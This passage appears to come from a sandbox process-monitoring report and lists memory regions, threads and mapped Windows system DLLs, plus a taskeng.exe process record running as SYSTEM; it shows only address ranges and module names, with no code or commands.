	        filename = ""

Region:
	              id = 1779
	        start_va = 0x990000
	          end_va = 0xa0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000990000"
	        filename = ""

Region:
	              id = 1780
	        start_va = 0xa10000
	          end_va = 0xcdefff
	     entry_point = 0xa10000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1781
	        start_va = 0xce0000
	          end_va = 0x10d2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 1782
	        start_va = 0x11a0000
	          end_va = 0x121ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011a0000"
	        filename = ""

Region:
	              id = 1783
	        start_va = 0x1280000
	          end_va = 0x12fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001280000"
	        filename = ""

Region:
	              id = 1784
	        start_va = 0x1390000
	          end_va = 0x140ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001390000"
	        filename = ""

Region:
	              id = 1785
	        start_va = 0x14a0000
	          end_va = 0x151ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014a0000"
	        filename = ""

Region:
	              id = 1786
	        start_va = 0x1580000
	          end_va = 0x15fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001580000"
	        filename = ""

Region:
	              id = 1787
	        start_va = 0x16d0000
	          end_va = 0x174ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016d0000"
	        filename = ""

Region:
	              id = 1788
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1789
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1790
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1791
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1792
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1793
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1794
	        start_va = 0xff260000
	          end_va = 0xff2befff
	     entry_point = 0xff260000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 1795
	        start_va = 0x7fef5ba0000
	          end_va = 0x7fef5bb5fff
	     entry_point = 0x7fef5ba0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 1796
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e23fff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1797
	        start_va = 0x7fef6370000
	          end_va = 0x7fef6396fff
	     entry_point = 0x7fef6370000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1798
	        start_va = 0x7fef63a0000
	          end_va = 0x7fef6481fff
	     entry_point = 0x7fef63a0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1799
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1800
	        start_va = 0x7fefbcd0000
	          end_va = 0x7fefbd55fff
	     entry_point = 0x7fefbcd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1801
	        start_va = 0x7fefbf00000
	          end_va = 0x7fefbf0efff
	     entry_point = 0x7fefbf00000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1802
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1803
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1804
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1805
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1806
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1807
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1808
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1809
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1810
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1811
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1812
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1813
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1814
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1815
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1816
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1817
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1818
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1819
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1820
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1821
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1822
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1823
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1824
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1825
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1826
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1827
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1828
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1829
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1830
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1831
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1832
	        start_va = 0x7fef5d00000
	          end_va = 0x7fef5d25fff
	     entry_point = 0x7fef5d00000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 1833
	        start_va = 0x7fee01c0000
	          end_va = 0x7fee020bfff
	     entry_point = 0x7fee01c0000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")

Region:
	              id = 1834
	        start_va = 0x7fee52c0000
	          end_va = 0x7fee54b9fff
	     entry_point = 0x7fee52c0000
	     region_type = mapped_file
	            name = "cimwin32.dll"
	        filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")

Region:
	              id = 1835
	        start_va = 0x7fefbee0000
	          end_va = 0x7fefbef0fff
	     entry_point = 0x7fefbee0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1836
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1837
	        start_va = 0x75760000
	          end_va = 0x75762fff
	     entry_point = 0x75760000
	     region_type = mapped_file
	            name = "security.dll"
	        filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")

Region:
	              id = 1838
	        start_va = 0x7fee69e0000
	          end_va = 0x7fee69e7fff
	     entry_point = 0x7fee69e0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1839
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1840
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1841
	        start_va = 0x1a0000
	          end_va = 0x1a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 1842
	        start_va = 0x1b0000
	          end_va = 0x1b4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 1843
	        start_va = 0x1c0000
	          end_va = 0x1c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 1844
	        start_va = 0x1310000
	          end_va = 0x138ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 1845
	        start_va = 0x17c0000
	          end_va = 0x183ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017c0000"
	        filename = ""

Region:
	              id = 1846
	        start_va = 0x1840000
	          end_va = 0x193ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001840000"
	        filename = ""

Region:
	              id = 1847
	        start_va = 0x7fefbd80000
	          end_va = 0x7fefbd94fff
	     entry_point = 0x7fefbd80000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1848
	        start_va = 0x7fefbda0000
	          end_va = 0x7fefbdabfff
	     entry_point = 0x7fefbda0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1849
	        start_va = 0x7fefbdb0000
	          end_va = 0x7fefbdc5fff
	     entry_point = 0x7fefbdb0000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 1850
	        start_va = 0x7fefd210000
	          end_va = 0x7fefd266fff
	     entry_point = 0x7fefd210000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 1851
	        start_va = 0x7fefd980000
	          end_va = 0x7fefd9a2fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1852
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1853
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1854
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1855
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1856
	        start_va = 0x7fefbd60000
	          end_va = 0x7fefbd73fff
	     entry_point = 0x7fefbd60000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1857
	        start_va = 0x7fefd270000
	          end_va = 0x7fefd29ffff
	     entry_point = 0x7fefd270000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1858
	        start_va = 0x7fee67a0000
	          end_va = 0x7fee67b1fff
	     entry_point = 0x7fee67a0000
	     region_type = mapped_file
	            name = "browcli.dll"
	        filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")

Region:
	              id = 1859
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d9fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "schedcli.dll"
	        filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll")

Region:
	              id = 1860
	        start_va = 0x7fefb740000
	          end_va = 0x7fefb74bfff
	     entry_point = 0x7fefb740000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1861
	        start_va = 0x1940000
	          end_va = 0x1c82fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001940000"
	        filename = ""

Region:
	              id = 1862
	        start_va = 0x7fee5a90000
	          end_va = 0x7fee5abbfff
	     entry_point = 0x7fee5a90000
	     region_type = mapped_file
	            name = "wmipcima.dll"
	        filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll")

Region:
	              id = 1863
	        start_va = 0x7fef9bc0000
	          end_va = 0x7fef9bcefff
	     entry_point = 0x7fef9bc0000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 1864
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1865
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1866
	        start_va = 0x75950000
	          end_va = 0x75952fff
	     entry_point = 0x75950000
	     region_type = mapped_file
	            name = "wmi.dll"
	        filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")

Region:
	              id = 1867
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2814
	        start_va = 0x7fefcb80000
	          end_va = 0x7fefcbabfff
	     entry_point = 0x7fefcb80000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2815
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 138
	os_tid = 0xbb0


Thread:
	id = 139
	os_tid = 0xbb8


Thread:
	id = 140
	os_tid = 0xbbc


Thread:
	id = 141
	os_tid = 0xbc0


Thread:
	id = 142
	os_tid = 0xb58


Thread:
	id = 143
	os_tid = 0xb68


Thread:
	id = 144
	os_tid = 0xb38


Thread:
	id = 145
	os_tid = 0xb98


Thread:
	id = 146
	os_tid = 0xbc4


Thread:
	id = 319
	os_tid = 0x6f4


Process:
	id = "17"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x6c99000"
	os_pid = "0xc0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "taskeng.exe {A7FAF7A3-CFF4-4457-A343-79FB3276E915} S-1-5-18:NT AUTHORITY\\System:Service:"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1868
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1869
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1870
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1871
	        start_va = 0x1b0000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 1872
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1873
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1874
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1875
	        start_va = 0xff2b0000
	          end_va = 0xff323fff
	     entry_point = 0xff2b0000
	     region_type = mapped_file
	            name = "taskeng.exe"
	        filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")

Region:
	              id = 1876
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1877
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1878
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1879
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1880
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1881
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1882
	        start_va = 0x2c0000
	          end_va = 0x3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 1883
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1884
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1885
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1886
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1887
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1888
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1889
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1890
	        start_va = 0xe0000
	          end_va = 0xe0fff
